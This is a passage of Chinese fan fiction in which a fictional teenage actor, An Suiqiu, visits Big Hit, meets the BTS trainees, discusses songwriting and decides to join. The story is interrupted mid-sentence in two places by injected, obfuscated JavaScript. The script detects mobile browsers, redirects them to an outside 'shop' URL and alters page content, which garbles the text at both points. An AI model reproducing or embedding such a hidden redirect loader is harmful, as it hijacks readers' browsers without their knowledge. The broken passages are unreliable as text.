万幸心血没有白费,这部基于真实事件改编的作品确实唤起了社会的关注。上映一周,百万人联署要求重查当年的光州仁华学校案;十天,观影人次突破两百万,口碑与影响力双双爆发。 安岁秋以前演的多是电视剧男主角的童年时期,有孤傲天才,有隐忍少年。 那些角色让他获得了关注,甚至被媒体戏谑地称为“千年一遇的美少年”,但鉴于他未成年的年龄,大众的焦点更多停留在戏里,很少过度打扰他的生活。偶尔被剧迷认出,对方也会礼貌地保持距离。 直到《熔炉》上映,他不得不把口罩焊死在脸上。 电影里那个满脸伤痕、眼中尽是绝望的聋哑少年,此刻正干干净净、清清爽爽地坐在练习室地板上,小口吃着紫菜包饭。 闵玧其恍惚了一瞬,以为自己饿出了幻觉。 直到金南俊又发出一声夹杂着90%空气的高音,“玧其哥!” 不是,他们声乐老师又不是从JYP来的,怎么还能注入空气啊?? 闵玧其额角跳了跳,这才注意到练习室这一片狼藉的景象。 哔—— 终于有人能理解自己在说什么了! 金南俊以合格的Rapper语速飞快地向其他人解释了一遍,也不管他们听没听懂,反正安岁秋是听得一愣一愣的。 好在一年多同吃同住的默契还在,尽管金南俊尽量委婉地描述了电影情节,感性的金泰亨和田柾国还是迅速将新来的小伙伴代入了角色,两双眼睛湿漉漉地看向安岁秋。 安岁秋被他们看得忍不住笑了,终于伸出手,揉了揉两颗毛茸茸的脑袋。 嗯,手感确实不错。 闵玧其叹了口气,没急着问安岁秋为什么会在这里,只是默默开始收拾金南俊制造的一地狼藉。金南俊也从兴奋中回过神,熟练地道歉,跟着一起打扫。 郑号锡本来想去拿湿巾擦地,却有人动作更快,他顺着那只修长的手往上看——手背上那颗浅褐色的小痣格外显眼。 安岁秋单膝跪地,仔细用湿巾擦拭地板上的油渍,动作不紧不慢,擦干净后,他又抽出一张新的湿巾,慢条斯理地擦了擦手。做完这一切,他抬起头,发现所有人都盯着自己。 安岁秋眨了眨眼,声音里带着点困惑,“那个……不吃饭吗?” 还在餐厅里消磨时间的方时赫根本没想到,自己引以为傲的几个小子能这么拿不出手。 一个简单的带新人参观公司的工作,半个小时后不仅没走上正轨,反而在练习室里上演了一出从“衣衫不整”到“四次元对话”再到“缪斯突然降临”的连环戏码。 他此刻正坐在窗边,手指在手机屏幕上滑动,嘴角带着抑制不住的笑意,一遍遍刷着网络上关于安岁秋的报道和那些“美少年”、“演技天才”、“千年一遇”的夸张标题,每多看一条,心里就多一分笃定—— 这孩子,他一定要留下。 “真是越看越满意啊……” 方时赫小声嘀咕着,甚至开始想象未来组合的雏形。安岁秋那张脸,那气质,那音乐底子,简直是为他的企划量身定做的。 他甚至开始盘算起出道曲的风格,要不要加点抒情摇滚?安岁秋的贝斯和vocal都能撑起来…… 他完全不知道,楼上他精心挑选的未来之星们,正在用最离谱的方式迎接这位潜在队友。 练习室里,狼藉的地板已被简单清理,洒掉的炸酱面不见了踪影,只留下一块颜色略深的水痕,七个人重新围坐成一圈,空气中还残留着食物香气和一丝淡淡的、挥之不去的尴尬。 当然,主要是郑号锡单方面的。 “前辈们好,我叫安岁秋,96年生,来自春川。” 安岁秋在今天第四次进行自我介绍后,终于勉强把眼前几张脸和名字对上了号。 那个一惊一乍、踢翻炸酱面,但似乎看过他电影(且深受触动)的哥,叫金南俊,94年生,来自日山。 那个一开始“自由奔放”、现在又缩成蘑菇的哥,叫郑号锡,也是94年生,来自光州。 而最后进来、话不多但行动力很强、默默收拾残局的哥,叫闵玧其,93年生,来自大邱。 这六个人,简直是,一个非常……奇妙的组合。 ------------------------ 参考文献: [1] 李詹雄(导), 审会源(编). 瑶玲啊瑶玲[ANI]. 首尔, KBS 2TV, 2003-07. 6. 专业能力评估 好在金硕珍深谙这群半大小子的食量有多惊人。 虽然损失了一碗炸酱面,但剩余的份量依旧足够,不至于会有人因此饿肚子。 七个少年围坐在地板上,中间散落着外卖盒和没吃完的紫菜包饭,初夏午后的阳光斜斜穿过窗户,在木地板上切出明亮的光带,灰尘在光束里缓慢浮动。 自我介绍结束后,短暂的沉默笼罩了空间,最先打破这微妙气氛的是金泰亨。 他眨着大眼睛,目光在安岁秋脸上停留片刻,又低头看了看自己手中的炸酱面,忽然开口,“安安呀,你真的是男孩子对吧?” “???” “因为瑶玲是女孩子呀。”金泰亨认真地解释,眉头微微蹙起,仿佛在思考某个重大的哲学命题。 “如果你是男孩子,那就不该叫瑶玲,可是你又长得这么像,难道小狐仙也有男的吗……” 安岁秋决定放弃理解这位新哥哥的逻辑体系。 金硕珍无奈地扶额,伸手将金泰亨往自己身边拽了拽。 “泰亨啊,吃饭的时候不要说话。”语气略显疲惫。 “可是哥——” “没有可是。” 田柾国小口咬着紫菜包饭,眼睛却一直偷瞄安岁秋,见对方看向自己,他立刻低头,耳尖又红了,过了几秒,他又忍不住抬眼,小声问,“岁秋哥……你真的演过电影吗?” 这个问题让其他人都看了过来。 “嗯,去年拍的。” “那……”田柾国犹豫了一下,“拍那个的时候会不会很难过?” 练习室又安静下来,连金泰亨都暂时停止了天马行空的思考,好奇地看向安岁秋。 安岁秋沉默了片刻,他想起那些在片场的日子。学手语学到手指抽筋,为了揣摩角色情绪整夜失眠,拍完某些沉重戏份后需要独自在休息室呆很久才能缓过来。 “会。” “但导演和前辈们都很照顾我。而且……”他顿了顿,“能参与这样的作品,我觉得很有意义。” 闵玧其一直安静地坐在角落,闻言抬眼看了安岁秋一眼,没说话,只是轻轻点了点头。 金南俊挺直了腰板,眼睛发亮,“我也觉得那部电影特别有意义!我和玧其哥看完之后——” “南俊啊。” 闵玧其淡淡开口,“先让人家吃完饭。” “啊,对哦。” 金南俊不好意思地挠挠头,“抱歉,我一激动就……” 郑号锡这时候终于从黑历史中缓过来一些,他清了清嗓子,试图展现作为哥哥的可靠形象,“那个……岁秋啊,方PD说你是来参观的,那你之后……是打算来我们公司吗?” 安岁秋放下筷子,饭盒里的紫菜包饭还剩下大半,他其实没什么胃口,“嗯,我还在考虑。” “想先看看公司,还有……大家是什么样的人。” “我们都是好人!”金泰亨立刻举手发誓,咧嘴笑成小方形。 “虽然有些人会看起来有点凶,但其实都是大好人!” 闵玧其对着金泰亨偷偷看过来的眼神,默默翻了个白眼,有些人? 他怎么觉得金泰亨这小子就是在指名道姓呢。 田柾国跟着点头,小声补充,“而且硕珍哥做饭很好吃。” “我什么时候给你们做过饭了?”金硕珍哭笑不得。 “哥不是煮了拉面吗?” “那是拉面啊拉面!能算做饭吗?” “但是加了鸡蛋和芝士。”田柾国认真地说,“特别好吃。” 金硕珍一时语塞,最后只能无奈地笑,“行吧,算你嘴甜。” 气氛就这样轻松下来,安岁秋看着这群人你一言我一语地斗嘴,嘴角不自觉地微微扬起。 “话说,岁秋你是怎么认识方PD的呀?” 这就是个孽缘了…… 闵玧其听完安岁秋讲述在街头被方时赫递名片的经过,忍不住勾起嘴角。 要他说,方时赫真该去给祖宗上炷香——这种好运怎么就能总落在他头上? 金南俊、郑号锡、田柾国……哪个不是单拎出来都够看的实力派;金硕珍和金泰亨那两张脸,根本就是为大银幕而生的;再加上他自己……难不成这栋破旧小楼真有什么玄学磁场吗? 田柾国则对安岁秋会弹贝斯这件事表现出毫不掩饰的兴奋,他眨着圆溜溜的眼睛,目光亮晶晶地锁定安岁秋——会玩乐队、能街头表演,这简直酷到他心坎里去了。 金泰亨更是直接缠着郑号锡,让他用手机找出那段已经发酵了一周多的视频。 如今这场演出的热度早已攀升,不少眼尖的网友认出那位戴口罩的贝斯手,正是被媒体称为“千年一遇美少年”的少年演员,也是正在热映的《熔炉》中令人心碎的“全民秀”。 评论区早已热闹非凡,有人赞叹他是天才,有人质疑在作秀,更有人陷入共情式的感慨:“如果全民秀能平安长大,或许也会像他这样闪闪发光吧。” 五颗脑袋挤在郑号锡的手机屏幕前,随着视频播放不时发出低低的惊叹,还时不时抬眼偷瞄对面的安岁秋,表情活像见了什么珍稀动物。 金泰亨的彩虹屁更是接连不断往外蹦,“这也太帅了!” “哇唱歌好好听!” “安安你手速好快!” 安岁秋睫毛轻颤,感觉脸颊有些发烫,他着实没料到,这群前辈第一次见面就能热情到这种程度。 唯一没凑过去的是闵玧其。 他早已看过那段视频。即使戴着口罩,他还是一眼就认出了那双眼睛。 弹得很好,唱得也好,还会创作,是那种天生就该站在光里的、闪闪发亮的人。 闵玧其当时甚至反复拖拽进度条,把安岁秋演奏的部分听了好几遍,除了心底那声“真厉害”的叹息,并无多余念头。 毕竟那样的人,和他这种挣扎在练习室、前途未卜的练习生,本就不是一个世界的,不过是手机里一段值得循环的片段罢了。 谁能想到,那个遥不可及的身影,此刻就这样鲜活而真实地坐在他们中间。 饭后稍作休整,金硕珍提议带安岁秋参观公司其他空间。 于是七个人浩浩荡荡地走出练习室,虽然这个“浩浩荡荡”在狭窄的走廊里显得有点拥挤。 “这是我们的声乐室。”金硕珍推开一扇门,里面空间不大,但设备齐全,隔音做得很好,“平时在这里上课。” “隔壁是创作室。” 郑号锡指了指另一扇门,“里面有几台电脑和MIDI设备,还有基本的录音器材。” 金泰亨已经迫不及待地推开门,侧身让安岁秋进去。 “安安你看!这是南俊哥和玧其哥最近在用的工作站——” 房间不大,陈设简单,却处处透着“正在使用”的痕迹。电脑屏幕上开着未完成的工程文件,几张写满音符和文字的草稿散落桌沿,墙面上贴着些手写的歌词片段,字迹各异。 安岁秋的目光被墙上的歌词吸引,字迹有些潦草,但能看清内容,方正的韩文里夹杂着很多英文单词,主题似乎是关于梦想与现实之间的挣扎。 “这是南俊哥写的。” 田柾国轻声细语,像在分享什么秘密,“他写词特别厉害。” 安岁秋看得很认真,那些词句简单却带有哲学性,不是精心修饰的华丽辞藻,而是直白地剖开内心的感受,他想起自己写歌时的状态,也是这样,把那些说不出口的情绪,转化成音符和文字。 “好厉害。” 金南俊没说话,只是漏出了大金毛似的可爱微笑。 闵玧其沉默地走到电脑前坐下,右手握住鼠标,“最近在做的,要听听吗?” 他根本没等安岁秋回答,就自顾自地点开了文件。 前奏响起,是节奏鲜明的嘻哈鼓点,叠加着略带忧郁的钢琴旋律,接着人声进入,是闵玧其标志性的低沉嗓音,咬字清晰有力,歌词里藏着年轻人特有的锐利与迷茫。 安岁秋听得很专注,他能听出编曲上的魅力,虽然某些音色的选择还可以更精妙,但整首歌的骨架很漂亮,尤其是歌词里那种直白而恳切的自我剖白,有种野蛮的生命力。 音乐结束时,创作室里安静了几秒。 “如何?”闵玧其语气平静,但手指无意识地轻敲桌面。 安岁秋想了想,“副歌的旋律可以再打磨一下,现在转折有点生硬。但歌词很好,‘在镜子里练习微笑的人,已经忘了怎么真的笑’,这句很戳人。” 闵玧其挑眉,眼底闪过一丝讶异,他没想到这个看起来精致得像瓷娃娃的少年,能如此准确地指出问题所在,并且真正听懂了那些藏在字句里的情绪。 “你也写歌?” “写一些。” “不过更多是偏乐队的风格,还在学习。” “听听?”闵玧其将耳机递过去。 安岁秋犹豫片刻,接过耳机,连接自己的手机,点开那首《HELLO HELLO》的最新版本。 轻快的摇滚前奏流淌而出,接着是他自己录制的清亮嗓音,离别的不舍不甘被他用反语Hello唱了出来,是很巧妙的设计,旋律抓耳,几乎是已经完成的作品。 闵玧其听得很认真,当歌曲进行到bridge部分时,他微微颔首,“这里的和弦进行很聪明。” 安岁秋眼睛亮了亮,很少有人能第一时间注意到那个细节。 “不过,”闵玧其摘下耳机,“最后一段副歌的编曲可以再丰满些,现在听起来有点空。” “我也觉得。”安岁秋难得地露出苦恼的表情,“试了几种配器,都不太对。” 两人就这样你一言我一语地讨论起来,从和弦编配到歌词韵脚,从音色选择到混音细节。 金南俊和郑号锡在一旁听得入神,偶尔插话问些问题,金泰亨虽然不太懂技术 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394855|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性的内容,但看两人聊得投入,也安安静静地听着,田柾国则眼睛亮亮地看着安岁秋,满脸都是小朋友的崇拜。 金硕珍靠在门边,看着这一幕,嘴角不自觉扬起,他想起方时赫常挂在嘴边的那句话——“音乐人之间,是有频率的”。 看来,频率对上了。 音乐声不知何时停了。 “咳。” 一声轻咳从门口传来,把沉浸在讨论中的几人吓了一跳。 方时赫不知何时站在了那里,小眼睛眯着,脸上挂着似笑非笑的表情。 “聊得很投入嘛。”他说,目光在安岁秋和闵玧其之间转了转。 “PD nim!”众人连忙站直问好。 方时赫摆摆手,“安岁秋xi,参观得怎么样?” “很有收获。”安岁秋诚实地回答,“大家……都很厉害。” 方时赫满意地点头,随即板起脸看向其他几人,“你们该去练习了吧?声乐课不是三点开始吗?现在几点了?” 众人一看时间,顿时慌了神,离上课只剩十分钟。 “快去吧。”方时赫挥挥手,“硕珍带他们去,我和岁秋再聊聊。” 金硕珍领着一步三回头的弟弟们离开了创作室,门关上后,房间里只剩下安岁秋和方时赫两人。 “坐。”方时赫指了指椅子,自己在对面坐下,他打开电脑,点开几个文件夹。 “既然你都见过他们了,也让你看看他们的作品。” 屏幕上开始播放视频。第一段是金南俊和郑号锡的练习室录像,两人正在表演一首原创rap,歌词犀利,flow流畅,舞台表现力远超年龄的青涩。 接着是田柾国和金泰亨的月考视频,田柾国的舞蹈力度控制精准,每个卡点都干净利落;金泰亨的vocal片段则展现出惊人的音色天赋和情感表达。 方时赫一边播放,一边轻声解说,“南俊和号锡的创作能力你看到了;柾国的舞蹈天赋是老师都认可的;泰亨的嗓音条件,放在整个行业里都是顶级的;硕珍的稳定性和领导力,是团队不可缺少的基石;玧其……你刚才也和他聊过了,他的音乐理解力和创作潜力,我相信你能感受到。” 视频播放完毕,方时赫关掉屏幕,看向安岁秋。 “这就是我想做的团体。不是流水线上完美无缺的商品,而是一群有血有肉、有想法有才华的年轻人,可以用音乐表达真实的自己。” 安岁秋沉默着,他不得不承认,他被触动了。 这些视频里的少年们,眼中有着他在许多练习生身上看不到的光,那是真正热爱着什么、并为之拼命的光芒。 “我……”他声音有些干涩,“如果……我是说如果,我真的考虑加入,学业方面……” 方时赫眼睛一亮。 有戏。 “这个你放心。”他立刻接过话头,“公司有合作的首尔艺术高中,课程安排会兼顾练习时间。如果你愿意,转学手续公司可以协助办理。文化课也不会落下,会请专门的辅导老师。” 安岁秋低头,手指无意识地摩挲着裤缝,良久,他抬起眼,“我需要时间考虑。” “当然。”方时赫点头,“这是大事,应该慎重。” “后天,后天下午,我给您答复。” 方时赫伸出手,笑容真诚,“好,我等你。” 走出Big Hit大楼时,夕阳已沉到天际线之下,天空被染成温柔的橘粉色。 安岁秋站在街边,回头看了一眼那栋在暮色中显得更加不起眼的小楼。二楼某扇窗户里,隐约能看见几个晃动的身影。 大概是那群刚结束声乐课的家伙。 他想起那六个风格迥异的人,不由得感慨视频里的样子和生活里可真是不一样。 还有方时赫最后说的,“这里或许给不了你最好的资源,但能给每个孩子最大的尊重。尊重你的音乐,尊重你的选择。” 「安宥拉:和PD谈得怎么样?」 「比想象中认真。」 「那就好。晚上想吃什么?姐请你。」 他想了想,回复:「炸酱面。」 「呀!前天不是才吃过!」 「但想吃。」 「……行吧,小祖宗。地址发我。」 安岁秋笑了笑,收起手机,汇入傍晚熙攘的人流。 首尔的夜晚又一次降临,霓虹渐次亮起,车灯汇成流动的星河。而他站在十字路口,第一次如此清晰地感觉到有什么东西,正在心底破土而出。 也许是梦想。 也许是冒险。 也许,只是一次简单的、关于未来的选择。 但无论如何,后天,他会给出答案。 而现在,他要先去找姐姐,吃一碗热乎乎的炸酱面。 “在做出任何重大决定之前,总得先填饱肚子。” 这也是安岁秋坚持的重要原则之一。 7. 重要决策 次日清晨,阳光透过练习室的百叶窗,在地板上投下整齐的光斑,安岁秋推开门时,里面已经飘着咖啡和早餐三明治的香气。 郑容和正靠着镜子墙啃三明治,姜敏赫盘腿坐在地上调试他的鼓机,李正信则举着手机,似乎在和谁通话,语气夸张,“真的,我骗你干嘛……诶呀,等他来了你自己问!” 见安岁秋进来,三人齐刷刷看过来,眼神里带着毫不掩饰的探究和……一丝看好戏的意味? “我们的小天才来了。”郑容和咽下最后一口食物,拍了拍手,笑容里有种“等你很久了”的熟稔。 安岁秋脚步顿了顿,莫名有些心虚,他肩上除了琴包,还拎着一个沉甸甸的电脑包。他走过去,先把贝斯小心靠墙放好,然后才拉开电脑包拉链,取出自己的笔记本。 “给弘基哥他们的歌……我改完了最终版。”他声音不大,手指在触摸板上滑动,点开那个命名为《HELLO HELLO_FINAL》的文件。 “所以,想先……请哥哥们听听看。” “哟,终于舍得给我们听了?”李正信挂了电话,几步凑过来,高大的身躯几乎把安岁秋整个罩住。 “憋了多久了?从你在片场抱着吉他哼哼那段旋律开始?” 安岁秋耳根微热,没接话,只是按下了播放键。 轻快而富有弹性的电吉他前奏流淌出来,结构完整,旋律抓耳,编曲层次丰富,bridge部分的和弦转折处理得尤其漂亮,既出乎意料又顺畅自然。最后一记有力的鼓点与吉他泛音收尾,余韵悠长。 练习室里安静了几秒。 姜敏赫最先打破沉默,他鼓着掌,眼睛笑得弯弯的,“哇……我们安安,真的长大了,这完成度,直接可以发歌了。” “何止是可以发歌,” 李正信咂咂嘴,大手揉上安岁秋的脑袋,把他柔软的卷发揉得更乱,“这水平,放在我们乐队当主打都够了!你小子,偷偷进化不带我们是吧?” 郑容和没说话,只是抱着手臂,目光落在安岁秋微微低垂的侧脸上,他听得很仔细,不仅听了旋律编曲,也听了歌词里那些细腻的情绪。 半晌,他才开口,声音里带着笑意,“写得真好。” “所以……我们的呢?” “嗯?” 安岁秋一时没反应过来,抬起头,对上郑容和带笑的眼睛。 “给弘基他们写了这么棒的礼物,” 郑容和走近,屈指轻轻弹了下他的额头,“怎么没想着也给容和哥写一首?嗯?我们安安偏心啊。” “就是就是!”李正信立刻帮腔,委屈地扁嘴,“我们天天带你吃饭,陪你练琴,结果呢?第一首完整作品就给了别人……” 姜敏赫在一旁笑眯眯地补刀,“看来是我们不够帅,魅力不如弘基哥?” “安安还是更喜欢他们?” 安岁秋被他们闹得脸热,下意识想往后缩,却被李正信长臂一揽,圈住了肩膀。 “没有偏心……” 他小声辩解,“只是……这首的旋律和感觉,觉得更适合FTISLAND的哥哥们。而且之前《孤独的人》不是一起写的吗……” “那不一样,”郑容和摇摇头,语气却依旧温和,“那首是我们共同的作品。这首,从词曲到编曲,完完全全是你自己的个人作品。” 他顿了顿,看着安岁秋有些无措的眼神,忽然话锋一转,声音放得更轻,“不过,比起歌……安安,你从进来开始,好像就有点紧张?不只是因为给我们听歌吧?” 安岁秋身体微微一僵。 姜敏赫和李正信交换了一个眼神,也收敛了玩笑的神色,他们太了解这个弟弟了。从奶声奶气的小不点,到如今眉眼精致的少年,安岁秋所有悄悄长大的痕迹,都还在他们相册里保存着呢。 “说吧,”郑容和在安岁秋面前蹲下,让自己仰着头看向个子不高的弟弟,笑容温和而包容,“遇到什么事了?还是……做了什么决定?” 安岁秋看着眼前三双关切的眼睛,喉咙有些发干。 他昨晚几乎没怎么睡,反复修改歌曲细节,脑海里却也不断回响着Big Hit那间狭小却充满热忱的创作室,回响着方时赫的话,回响着男孩子们那些鲜活的面孔和眼神。 他知道,迟早要说的。 安岁秋深吸一口气,抬起眼,声音清晰了许多,“我……昨天去了Big Hit Entertainment。方时赫PD邀请我,去他们公司……看看,可能,作为练习生。” 话说完,他屏住呼吸,等待哥哥们的反应。 预想中的惊讶、反对、甚至生气并没有立刻到来。 郑容和先是愣了一下,随即像是想起什么,露出了恍然的表情,“Big Hit?方时赫PD?啊,我想起来了!” “好像在一次聚餐上见过他,聊过几句,是个很有想法,也真正懂音乐的人。我好像听谁提过,他一直在筹备一个以嘻哈音乐为基础的男团企划,挺有魄力的……” “不过,他们公司规模好像不大,经济方面听说也不算宽裕。”郑容和的语气很平静,更像是在陈述客观事实,而非反对。 姜敏赫接话,目光里是全然的信任,“所以,你心动了?想去试试那个方向?” 李正信则更直接,大手拍了下安岁秋的后背,其实力道已经放轻了许多,“想去就去啊!扭扭捏捏的干嘛?” “怕我们拦着你?我们之前喊你一起玩乐队,是因为喜欢你,欣赏你的才华和性子,又不是拿感情绑架你……” 安岁秋怔住了,他预想了许多种反应,却没想到是这样毫无保留的支持,他嗓音有点哑,“我……我以为你们会……” “会生气?会舍不得?”郑容和笑了,伸手揉了揉他的头发, “当然舍不得。但我们更知道,安安你是个心里有主意、有规划的孩子。” “你既然认真考虑,甚至已经去看了,说明这件事对你来说有足够的吸引力,我们难不成还能拦着你不让去吗?” 姜敏赫点头温声道,“音乐的道路有很多种,演员、乐手、偶像、制作人……没有哪条一定比另一条更高贵。” “重要的是你自己是否享受,是否能在其中找到表达和成长的空间。如果你觉得那个地方,那群人,那种音乐方向,能让你眼睛发光,那就值得一试。” “就是!” 李正信揽着安岁秋肩膀的手紧了紧,“不过咱可说好了,要是去了那边被欺负了,或者待得不开心,随时回来!” “我们的宿舍门永远为你敞开!对吧?容和哥,敏赫?” “当然,不过……”郑容和看向安岁秋,问得更具体些,“如果你决定去,宿舍和学校怎么办?要继续留在首尔吗?” “方PD说,可以协助办理转学,去首尔的艺术高中,课程会配合练习时间安排。宿舍……公司会提供。” “但是我不想去艺术高中,我考虑要不要去清潭高等学校[1],离那边公司会比较近。” “啊,狎鸥亭洞那个?” 安岁秋点点头,他没想过要放弃学业,他从小成绩就很好,既然初中的时候他能够平衡演戏和学习,那高中也就能平衡练习生,只不过需要他再努力一些。 “去呗,虽然普高会累些,不过我想你也不会放弃的。” “而且离我们也近啊!” 李正信立刻高兴起来,“以后我们还能经常见面!吃饭!带你出去玩!省得你跑回春川,见一面都难。” 郑容和也松了口气,“留在首尔就好,有什么需要帮忙的,随时找我们。记住,这里永远是你的后盾。” 心中那块沉重的石头,在这一刻彻底落了地,暖流取代了忐忑,安岁秋看着眼前三张带笑的脸,眼睛有些发热。 他重重地点头,“嗯!谢谢哥哥们。” “谢什么。” 姜敏赫笑着递给他一瓶水,“好了,大事说完了,轻松点了吧?刚才那紧绷的小模样,看得我们都难受。” “来来,再听听你这首歌,有几个编曲细节我觉得还能再聊聊……” 气氛重新变得轻松活泼起来,围绕着音乐,话题不断。 安岁秋感到久违的放松和愉悦,其实无论哥哥们是否支持他的决定,他也不会被对方的态度干扰到。 但是能支持,那当然更好了。 又一天下午,约定的时间。 方时赫坐在办公室里,手指无意识地点着桌面,目光时不时瞟向安静的手机。他试图让自己专注于面前的新组合企划书,但思绪总是不由自主地飘向那个有着琥珀色眼睛的少年。 他会打来吗? 还是说,经过深思熟虑,觉得这个小公司实在没有前途,选择了拒绝? 就在方时赫几乎要开始第一百零一次心理建设时,桌面上的手机屏幕亮了起来,伴随着清脆的铃声。 是那个见过一面的数字。 方时赫的心跳漏了一拍,他几乎是扑过去拿起手机,清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394856|200357||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了清嗓子,尽量让声音听起来平稳专业。 “喂,您好,这里是Big Hit Entertainment,方时赫。” 电话那头传来一个清澈中带着些许慵懒的少年音,透过电波,依旧好听得出奇。 “方PD,您好。我是安岁秋。” 而地下的练习室里,金泰亨呈大字型瘫在地板上,对着天花板叹了口气,“柾国啊……我们是不是忘了问安安要电话号码了?” 正在一旁压腿的田柾国动作一顿,兔子眼里也闪过一丝懊恼,“……好像是。” 那天安岁秋离开后,他们才后知后觉地发现,除了知道他的名字和演员身份,其他联系方式一概没有。 就算人家最终没选择他们公司,交个朋友也好啊! “唉——” 金泰亨又叹了口气,翻了个身,看向抱着手机屏幕聚精会神的金硕珍和郑号锡,“哥,你们还在看啊?” 电视上正在播放的,是安岁秋几年前主演的电视剧《你能听到我的心吗》。画面里,年幼的车东株睁着那双清澈又带着哀伤的大眼睛,用手语比划着,演技自然真挚,轻易就能将人带入剧情。 金硕珍抽了张纸巾,擦了擦眼角,由衷感慨,“演得是真好啊……这眼神,这情绪把握,真的有灵气。” 郑号锡也红着眼眶点头。 他们这几天几乎把安岁秋能找到的电视剧资源都翻出来看了,从傲娇毒舌的小黄泰京,到坚韧早熟的李江模,再到这部感人至深的聋哑少年。每一部都让他们对那个安静坐在练习室里吃紫菜包饭的少年,有了更深的认识。 金南俊和闵玧其相对理性些,但也不得不承认,安岁秋在镜头前的天赋和魅力是惊人的,而且看他的作品履历,挑选剧本很有想法,并非一味追求曝光。 唯一的问题是…… “泰亨啊,柾国啊,” 金硕珍暂停了电视剧,无奈地回头看向两个忙内。 “你们明天能不能控制一下?上课眼睛肿成这样,老师已经问我两次了,以为我们宿舍晚上集体看恐怖片不敢睡觉呢。” 金泰亨和田柾国同时摸了摸自己还有些浮肿的眼皮,不好意思地低下头。他俩最感性,追剧时为小东株的遭遇和坚韧哭得最凶,昨晚又重温了虐心片段,早上起来眼睛果然成了核桃。 “可是……真的很好哭嘛。”金泰亨小声嘟囔,“安安演得太让人心疼了。” 田柾国默默点头附和。 闵玧其从作曲本里抬起头,淡淡抛出一句,“心疼就等人家来了好好照顾,别光对着电视哭。” “玧其哥!” 金泰亨一下子坐起来,眼睛发亮,“你说岁秋会来吗?” “不知道。” 闵玧其重新低下头,笔尖在纸上划过,“方PD会尽力的。” 金南俊用笔抵着下巴思考,“虽然我们公司不怎么样,但是那天他和玧其哥感觉聊得挺投机的,应该…会来吧” “希望吧……”田柾国小声说,眼神里充满了期待。 他们都很喜欢那个突然闯入他们练习室的少年。不仅因为他的才华和容貌,更因为那种奇妙的、仿佛本该就属于这里的契合感。 就在几个少年各怀心思,想念着那位可能成为同伴的“瑶玲”/“民秀”/“岁秋哥”时,他们并不知道,楼上的办公室里,方时赫刚刚挂断了一个电话。 他放下手机,圆圆的脸上先是浮现出难以置信的空白,随即笑容迅速扩大几乎要咧到耳根,猛地从椅子上站起来,因为动作太大,椅子腿在地板上划出刺耳的声响。 但他完全顾不上,只是用力挥了一下拳头,小声地、却充满兴奋地“耶!”了一声。 然后深吸几口气,努力平复激动的心情,整理了一下西装,拉开办公室的门,朝着楼梯间,再次迈开了他那并不算敏捷却异常坚定的步伐。 这一次,不是为了追人。 而是要去宣布一个,足以改变许多人轨迹的好消息。 窗外的首尔,夕阳正要沉没,天际燃烧着灿烂的晚霞,仿佛预示着某个崭新的开始。 ------------------------ 参考文献: [1] 首尔特别市教育厅. 清潭高等学校[School]. 公立普通高中, 首尔特别市江南区狎鸥亭路419, 1990-05-16. 注:该校与清潭国际高等学校(私立国际学校)为不同两所学校,切勿混淆。 8. 群体融入 自从方时赫宣布了安岁秋确定要加入的好消息,田柾国和金泰亨就成了公司二楼窗台的常驻风景。 两个少年心里那点雀跃根本藏不住,即便被孙成德老师的舞蹈课榨干了最后一丝力气,累瘫在地板上时,嘴角还能无意识地上翘,发出嘿嘿的傻笑。 金硕珍每每瞥见,都下意识往后缩一缩,生怕老师那恨铁不成钢的怒火波及无辜。 可惜,防弹的舞蹈双翼向来是同进退的,孙成德目光如炬,手指一点,“硕珍,南俊,你俩也出来。” 金硕珍心里那点小侥幸“啪”地碎了,转头看向同样被点名、一脸懵的金南俊,忽然又奇异地平衡了。 好吧,难兄难弟,谁也别想跑。 四个人排排站加练,负责带舞的郑号锡投来同情的目光,还剩一个闵玧其。孙成德打量两眼,大手一挥,算了,不差这一个,一起来吧。 刚坐下休息的闵玧其:“???” 他心里默默闪过一串需要消音的词。 另一边,安岁秋因为转学手续和搬家事宜耽搁了几天,这才拖着行李箱,慢悠悠地抵达新宿舍楼下。 送他来的工作人员临时接到急电,匆匆将他放在门口便驱车离开了,完全没察觉到那把应该给新练习生的宿舍钥匙,此刻还安稳地躺在自己口袋里。 安岁秋对着紧闭的防盗门沉默了片刻,不死心地抬手敲了两下。 回应他的只有门内一片寂静。 好吧。 他摸出手机,又顿住——他没有金南俊他们的联系方式,打给方PD似乎又有些小题大做。 安岁秋抬眼看了眼腕表,七点半。 夏季的八月,即便入夜,空气也只是褪去了白日的燥热,换上微凉的绸缎,他体质不易出汗,倒也不觉得难熬。 于是,他将行李箱靠墙放稳,又将背上的黑色琴盒小心立在另一侧,自己则坐上行李箱,戴上耳机,刷起了手机。 因加练而迟归的几人,拖着仿佛被拆散重组的身体,步履蹒跚地挪向宿舍楼。 走廊的灯光年久失修,电压不稳,忽明忽暗地闪烁,在斑驳的墙面上投下晃动的影子。 “这灯光……真的很有氛围。” 郑号锡小声嘀咕,紧紧跟着前面的田柾国,若不是人多势众阳气足,他绝不敢独自在晚上踏入这条走廊。 田柾国察觉到他号锡哥的紧张,玩心忽起,凑到郑号锡侧面,压低嗓子发出意味不明的“嗬……嗬……”气音。 “呀!” ”郑号锡吓得一个激灵,随即反应过来,伸手就去拍田柾国的背,“田柾国!” “哈哈哈号锡哥你胆子好小,没有鬼的啦——”金泰亨笑着打趣。 